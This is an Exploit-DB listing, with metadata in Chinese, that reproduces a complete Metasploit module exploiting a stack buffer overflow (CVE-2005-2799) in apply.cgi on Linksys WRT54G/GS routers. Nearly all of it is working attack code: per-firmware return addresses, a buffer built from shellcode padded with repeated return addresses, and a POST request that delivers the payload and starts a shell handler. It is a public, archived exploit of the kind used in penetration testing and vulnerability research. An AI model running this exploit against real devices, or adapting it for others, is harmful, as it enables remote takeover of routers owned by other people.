标题: Linksys WRT54 Access Point - 'apply.cgi' Remote Buffer Overflow (Metasploit) EDB-ID: 16854 CVE: 2005-2799 类型: REMOTE 平台: HARDWARE 发布日期: 2010-09-24 漏洞利用脚本: ##
# $Id: linksys_apply_cgi.rb 10457 2010-09-24 16:55:38Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Linksys WRT54 Access Point apply.cgi Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
    According to iDefense who discovered this vulnerability, all WRT54G versions prior to
    4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.
   },
   'Author'         => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10457 $',
   'References'     =>
    [
     [ 'CVE', '2005-2799'],
     [ 'OSVDB', '19389' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
    ],
   'Payload'        =>
    {
     #'BadChars' => "\x00",
     'Space'    => 10000,
     'DisableNops' => true,
    },
   'Arch'   => ARCH_MIPSLE,
   'Platform'       => 'linux',
   'Targets'        =>
    [
     # the middle of the intersection is our generic address
     #((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
     [ 'Generic', { 'Bufaddr' => 0x10002b50}],
     [ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }],
     [ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }],
     [ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }],
     [ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }],
     [ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }],
     [ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }],
    ],
   'DisclosureDate' => 'Sep 13 2005',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(80),
    Opt::RHOST('192.168.1.1')
   ], self.class)
 end

 # Approx size of the remaining space in the data segment after our buffer
 DataSegSize = 0x4000

 def exploit
  c = connect

  print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
  print_status("Shellcode length: #{payload.encoded.length}")

  addr = [target['Bufaddr']].pack('V')

#  original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00"
#  original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00"
#              Pointers in 2.02.6beta1


#   | BIG BUFFER  | Various structs and function pointers | ... | .ctors | .dtors | ... | .got |
#   | <- 10000 -> | **************************** Pad with return address ***********************
#   I know this is horrible :( - On the other side this is very generic :)
  post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)

  #post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43"

#         res = send_request_cgi({ 'uri' => "/apply.cgi",
#      'method' => 'POST',
#      'data' => post_data });
#  print_status("Malicious request sent, do_ej should be overwritten")

  req = c.request_cgi({ 'uri' => "/apply.cgi",
   'method' => 'POST',
   'data' => post_data
  })
  c.send_request(req)
  print_status("Mayhem sent")


#  req=c.request_cgi('uri' => '/');
#  c.send_request(req);
#  print_status("do_ej triggered")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16854